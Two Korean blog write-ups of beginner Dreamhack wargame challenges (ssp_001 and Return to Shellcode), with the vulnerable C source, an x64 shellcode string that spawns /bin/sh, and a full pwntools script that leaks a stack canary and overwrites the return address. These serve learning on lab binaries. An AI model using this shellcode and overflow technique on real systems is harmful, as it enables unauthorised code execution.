반응형

포너블 공부 2일차. 여전히 카나리 릭, 파이썬과 싸우고 있다.

파이썬 문법, pwntools 모듈 등이 나에겐 너무 생소한지라 아직까진 어려운데 어쩌겠습니까... 해야죠 네 ...

 

이번 문제도 역시 Canary Leak을 이용해 풀어야 하는 문제이다. 문제를 한번 자세히 보도록 하자.

(문제 출처 : https://dreamhack.io/wargame/challenges/33 )

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다. 저기서 등장하는 SSP는 stack smashing protocol이다.

 

문제를 보면

get_shell()함수를 실행시키는 것을 목적으로 하면 될 것 같다.

main()함수를 보면, 

box[0x40], name[0x40], selset[2], idx, name_len이라는 변수를 선언해주고, 

while(1) 안에서 switch_case 문을 실행해준다.

switch안에 들어가는 인자는 read함수에서 받아오니 이건 p.send를 써야하겠다... 라는 생각을 하며 진행해보도록 하자. 

총 세 가지 기능이 구현되어있는데,

F : fill the box

P : print box value

E : fill name buffer and return.

이렇게 되어있다. 이제 checksec을 해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}
void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
// target
void get_shell()
{
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx)
{
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu()
{
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[])
{
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while (1)
    {
        menu();
        read(0, select, 2);
        switch (select[0])
        {
        case 'F':
            printf("box input : ");
            read(0, box, sizeof(box));
            break;
        case 'P':
            printf("Element index : ");
            scanf("%d", &idx);
            print_box(box, idx);
            break;
        case 'E':
            printf("Name Size : ");
            scanf("%d", &name_len);
            printf("Name : ");
            read(0, name, name_len);
            return 0;
        default:
            break;
        }
    }
}

 

Canary가 적용되어있으니 어쨋든 Leak을 해주어야할 것 같다. Canary Leak을 하기 위해서는(다른 방법은 아직 모른다..) 스택의 데이터를 출력해주는 함수가 필요한데, 딱 적당하게 P 기능에서 이를 수행해준다.

P 기능 내의 print_box를 살펴보자.

void print_box(unsigned char *box, int idx)
{printf("Element of index %d is : %02x\n", idx, box[idx]);}

box[idx]는 사실 *(box + idx) 라고 볼 수 있는거니까, box 배열의 base address에서부터 idx만큼 떨어져있는 곳의 데이터를 말하는 것이다. 따라서 이를 이용하면 Canary 값을 읽을 수 있다.

그럼 한번 스택 상황을 보러 가볼까?

일단 처음에, 공간을 0x94만큼 잡아주는 것을 볼 수 있다.

pwndbg를 이용해 까보았더니  cmp eax, 0x50 즉, 'P'에 해당하면, <main + 192>로 jmp 해준다. <main+192>부터 보면, [ebp-0x88]의 주소를 PUSH해서 print_box로 넘겨주는 것을 볼수 있다. 그렇다면, box의 주소는 0x88일테니까,

그림을 그려봐야겠다.

이런 느낌일 것이다.

그렇다면, P기능에서 81개의 아무 데이터나 넣고, 그 다음 3바이트의 canary 값을 받아오면 canary leak을 할 수 있겠다.

exploit 코드

그리고, 일단 get_shell의 주소를 받아와야한다.

exploit 코드

이렇게 했으면, canary 값도 받아왔고, get_shell의 주소도 구했으니 RET 주소에 get_shell의 주소만 넣으면 되겠다.

exploit 코드

이렇게 구성하면 될 것 같다.

이제 실행을 해볼까?

히히 야호~ 성공했다. 끗.

반응형
반응형

하루만에 너무 많은걸 해버렸다... 갓 포너블 시작한 포린이에게는 빡센 것 같다.

바로 시작해보자. 

이번 문제는 Return to Shellcode 라는 문제이다. 

(문제 출처 : https://dreamhack.io/wargame/challenges/352 )

 

Return to Shellcode

Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

제목에서도 알 수 있듯, Shell Code를 사용하는 문제이고, 이게 중요한 개념인가보다.

(나의 경우에는 너무나도 중요했다 ...발...)

 

우선 먼저 짚고 넘어가야 할 점이 있다. 바로 Shell Code는 32비트와 64비트 환경에서 다르다는 것이다! 당연하지. 근데 나는 그걸 못알아채고 한시간동안 삽질을 했다 ㅋㅋ 하... 여러분은 그러지 않길~ ^^

Shell Code in x64

"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

이제 시작해보자. 

우선 국룰 절차 밟기.

64bit, SYSV, Canary 정도 체크하고 가면 될 것 같다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

코드가 이전 문제에 비하면 상당히 길다.

어떻게 실행되는지 한번 실행해보자.

buf의 주소를 주는 것을 보니, BOF를 일으켜야하는 것으로 보이고, distance between buf and $rbp를 주는 것을 주목해야겠다. 이 문제가 Canary 단원 안에 속해있다는 것을 생각해볼 때, 저 distance에 집중해야겠다.

기본적인 canary의 개념을 짚고 가자면,

이렇게 생각할 수 있겠다. 즉, sfp와 ret의 무결성 보장을 위해 canary의 값이 변경되었는지를 확인하는 것이다. 따라서 canary의 값을 알아내기 위해 해야할 일은 bof를 통해 canary 값을 leak 해야 하는 것인 것 같다.(아무래도 처음부터 더 어려운건 안시키겠지...)

BUF 주소 leak

char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

이 부분을 보면, p.recvuntil("buf: ") 해서 recv(14)로 buf 값을 가져올 수 있고, distance도 구할 수 있을 것이다.

 

해당 부분의 exploit 코드

 

Canary Leak

그 다음으로 canary leak을 해봐야 하겠다.

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
 
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

문제에서 친절하게도 안내를 해준다 ㅋㅅㅋ

그렇다면 해줘야지.

 

buf에 distance - 8 (8인 이유는 canary가 들어갈 자리 때문.) 까지 다른 데이터로 채워주고, canary의 NULL문자 부분까지 하나만 더 "A"로 채워주어 canary 정보를 leak 해보았다.

canary Leak

이렇게 하면 canary까지 가져왔으니, 남은건 BOF 뿐이다.

BOF

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

위에를 처리하고나니 이젠 귀여운 BOF만 남아있다. 바로 익스 해주자.

BOF 코드

 

새로운 함수 몇 가지를 공부했는데, ljust라는 굉장한 녀석이 있다. 코드를 보면 뭐하는 친구일지 이해가 될 것이다.

 

Exploit code

from pwn import *

p = remote('host3.dreamhack.games', portNum)

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

p.recvuntil("Address of the buf: ")
buf_addr = int(p.recv(14), 16)

p.recvuntil("$rbp: ")
distance = int(p.recv(2))

# canary leak
p.recvuntil("Input: ")
payload = b"A" * (distance - 8)
payload += b"B"
p.send(payload)
p.recvuntil(payload)
canary = b'\x00' + p.recv(7)

# exploit
print(p.recvuntil("Input: "))
payload = shellcode.ljust(distance - 8, b'\x90')
payload += canary
payload += b"\x90"*8    
payload += p64(buf_addr)
p.sendline(payload)

p.interactive()

 

이대로 exploit 해주면,

짜잔~ 성공이다 !! ㅎㅎ

기초 BOF를 벗어나 새로운 canary leak을 해보는 재미난 경험이었다~

포린이 포너블 1일차 끗.

반응형

+ Recent posts